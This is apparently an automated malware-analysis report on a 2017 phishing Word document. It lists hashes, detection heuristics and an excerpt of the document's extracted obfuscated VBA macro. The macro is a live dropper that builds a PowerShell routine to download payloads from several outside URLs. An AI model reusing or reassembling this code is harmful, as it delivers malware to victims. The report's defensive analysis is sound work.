Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a82e6d526c264093…

MALICIOUS

Office (OLE)

188.5 KB Created: 2017-12-08 09:17:00 Authoring application: Microsoft Office Word First seen: 2017-12-24
MD5: 11f52bf766f0642bda977bf9edc208fd SHA-1: ff3d458eb281091df2a71fb9bf2a683f6115e347 SHA-256: a82e6d526c264093ff95af02def0a3497349920015be6b2d0629cf1e3837349b
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is configured to execute code using the Shell() function, a common technique for downloading and executing further stages. The ClamAV signature 'Img.Dropper.PhishingLure-6443153-0' and the unknown reputation URL suggest a phishing or dropper-type malware.

Heuristics 7

  • ClamAV: Img.Dropper.PhishingLure-6443153-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Img.Dropper.PhishingLure-6443153-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://yaylainvestWiawUqnwq2iXNBLVA82U In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 74947 bytes
SHA-256: c0f4eee378a765873a4a0cfecb01f3224c1738f830825e413b5629004871e402
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "CzvGqNvuSqNBjj"
Function WznaYOtAaVjS()
OYlwQ = Array(UCase("qzRlqFc" + "UqdBwwj" + "UIHvpjYzTajOP" + "sKBPKIOpXLdMJh" + "DjnckUOvHKJY"), UCase("SQVOkWwTA" + "oYZilwRdWrOP" + "wlfidOtFAjwXGp" + "cniSDzwEK" + "dwqhmhECVZcFs"))
pUPXIsGqH = Mid("zc02G+'eWyHI+yHIiU+WiU;WiU+WiU}}Wi'+'U) -'+'CrePlaCeWiUUHEWiU,[chaR]39 -CrePlaCe WiU1mXWivnozQmzpi0Sp6CT", 6, 84)
UTiJrVRnAA = Array(UCase("OfCmjidRHDz" + "UlsIRjXHpIS" + "AMmHsGA" + "iFMpmutksbEC"), UCase("ujLtbzn" + "GqGMzmUv" + "YBCLwOZDWX" + "nPNEQBFjbNQGM" + "YOFcmIYoWDC"))
GklmIJYNj = Array(UCase("EGaopdGiHC" + "jJwMuzh" + "nzQDYNCrVk" + "mXvNNwYKP"), UCase("jzrnjDXIqbb" + "jEVoDBanlltrPd" + "wiPVmSoEAYPsJ" + "jiJosnrrZtW" + "cuwFzXCQbZbF"))
CdqDDPTas = Array(UCase("OpSoUEOwi" + "ODpzZzD" + "sdGIjiFrmJBW" + "kAPKrZKdHPsN" + "GHEwnAmIzOHGFo"), UCase("dRFwMQdDaniZ" + "EkNNvmXzmoVBj" + "klHElkazqKw" + "jcEiKFa" + "EOAtLTQlrcjvcq"))
wkYujUCBV = Mid("cPlQHGPEG([ChaR]104+[ChaR]98+[ChaR]105),[ChaR]36-REPLtQG3HE5C7", 10, 44)
fLZOtm = Array(UCase("cvAUPnJQICGjD" + "qwEIWzCquF" + "YsptCJDEwPsrXK" + "NTTssVw"), UCase("MUWREGmlAuZqvT" + "FsCfEHwFhw" + "liXBMZcsd" + "jswwLirwzU" + "uwNAqqss"))
HjantVB = Array(UCase("RSjwpSEuCRtFv" + "HdQapWVkNtSTo" + "NbAZqinM" + "IlaAUwcRNVs"), UCase("zTUmTXhEqiVi" + "hbRTOMFvCHpOWB" + "lbEwwYOIfmWL" + "IliQwDm" + "LzzImowLfX"))
OjNbq = Array(UCase("TqYVzCEN" + "sKYcJAKn" + "NubiNQJoY" + "DFSGBWMGMQP" + "nFZvlQSoCZVHp"), UCase("lodHLJdZKCZEXG" + "tzWEZHVFRisWjc" + "jKRClXdEEFK" + "vXWjtLrJb" + "DPrPjLdTntwjSO"))
FXFYwh = Mid("sYZDui6wDTmwiBNmjAiK5P1ANEXSyHI+yHIF68qWiU+WiUOa'+'q/,hWiU'+'+WiUttp://tsimWiU'+'+WiUtsWiU+WiUuWiU+WiUm.euWiU+WiU/3GWiU+WiUyHI+'+'yHIrWiU+'+'WiUPWiU+WiUPhY'+'/UHE.Sy'+'HI+vS2z", 29, 143)
GstjcE = Array(UCase("VuSOZWhXSTlhrB" + "nRdZSSOPadFqJk" + "wzOZpLpWE" + "OfUDZQHGmBihG"), UCase("fGfrlTj" + "nAWlTSLozv" + "fDmuLBNwjW" + "nOtItifzklMq" + "ThnwpvzDjJaCs"))
LMoVDblhd = Array(UCase("UUaPtSwOsahvz" + "KsTCkHBLWnSbkS" + "RPFHtZrRt" + "jFBwpBPfVdAc"), UCase("hHmIwmzSijw" + "KcoEZTaZVEC" + "NjlCvPpQplXAGQ" + "fwPwZEXiYbbvK" + "DIdEnvSAuWS"))
sMcUuDTlF = Array(UCase("XqZuVtY" + "SlmruiMwMkanE" + "pzAjNGEwq" + "XsdsnEUDHi" + "jGpQoDfcjOkA"), UCase("BbtpfSjV" + "STBAUKHPWfVdFr" + "PZCYTGFm" + "UrLKfYpzNpoVP" + "jVVTrFfjvkjZF"))
mUCmzYqQZF = Mid("DEoWRZtU'+'+WiUments.comWiU+WiU/WiU+WiUdWiyHI+yHIU+WiUyHI+yHIAyHI+yHIGsb/,ht'+'tp://peterhWiU+yHI+yHIWiUalligan.com/AnbWiU+WiU0Fg/,WiU+WiUhttkpQ3D0657CEbRQUoGS3nEHVCfiFlDBvP", 8, 134)
FWnSBA = Array(UCase("jlYFnwIavdFGd" + "pBNaUTfqlduvTV" + "iBsfiYlFTnc" + "jiaCXbsFQnUCw"), UCase("pAvLsfmA" + "bMavWDvum" + "fvLLaXTaPJrhq" + "WilKHvzBjNwq" + "jWCUthKTQipUoY"))
rDFTpkqXsC = Array(UCase("KCnMhJjcz" + "kzqVPQCoAlSDwn" + "hMovabFTZ" + "LBboGHGWYiuOJ"), UCase("iiuZUzGEA" + "zwsjYVfiRfEPbA" + "iMhZETTCXRsjjz" + "iHBcoJOZwDD" + "wiLOGuipk"))
MZJkuLbio = Array(UCase("ISzvmzYLGP" + "rtqEjYFW" + "BzLvcKKPBom" + "XBAkFYi" + "rwpCGAELaVj"), UCase("VrSJGCTcnJJ" + "cCUsqTaAW" + "iFJJobFzofEIk" + "iqiDFGqhmXZ" + "fMVHvjH"))
WIvWYwsj = Mid("Tlk7lzSbcd){tryWiU+WiU{1mXfraWiU+WiUnc.DowWQVLuwC6CUcBQCoCirAujuqc", 8, 36)
naacjnTaLqh = Array(UCase("iwjjtUPfoz" + "pzzOzLkPmjV" + "CWYMCll" + "JqIcEvH"), UCase("uKSOElHjO" + "HjtawqI" + "dKUIMtDzVwoUJD" + "UVbQHwR" + "szCiBIjsR"))
wWzdkUOY = Array(UCase("IMAzNrWnVdN" + "RpJzoWvQCB" + "ljkvtihkV" + "IWWqhqN"), UCase("CMIKEmqCWSYo" + "aHtONcvcJntrU" + "SnIHfhjz" + "KbfwFrIOLjIhO" + "cTORGtYPSjc"))
ZhOjwB = Array(UCase("RLkiTWHjJmq" + "uAhEmbcOou" + "uoYAEhRMjCFY" + "fmtiQoElWLvkd" + "FdilmXapqvWC"), UCase("saJSpboZAiwwAp" + "XccQbzL" + "wRSASpwwHNpL" + "NsGIoIFu" + "mmhaSNSGazhr"))
NXhfwQfhQmw = Mid("6ickwL24ar]36  -CrEPlA'+'c'+'E ([CHar]111+[CHar]75+[CHa'+'r]88),[CHar]124)pPf& ( hbi'+'VERbosEprefeRencE.tosTring()[1,3]+yHIxyHI-'+'jOINyHIyHI)') -creplacE(
... (truncated)

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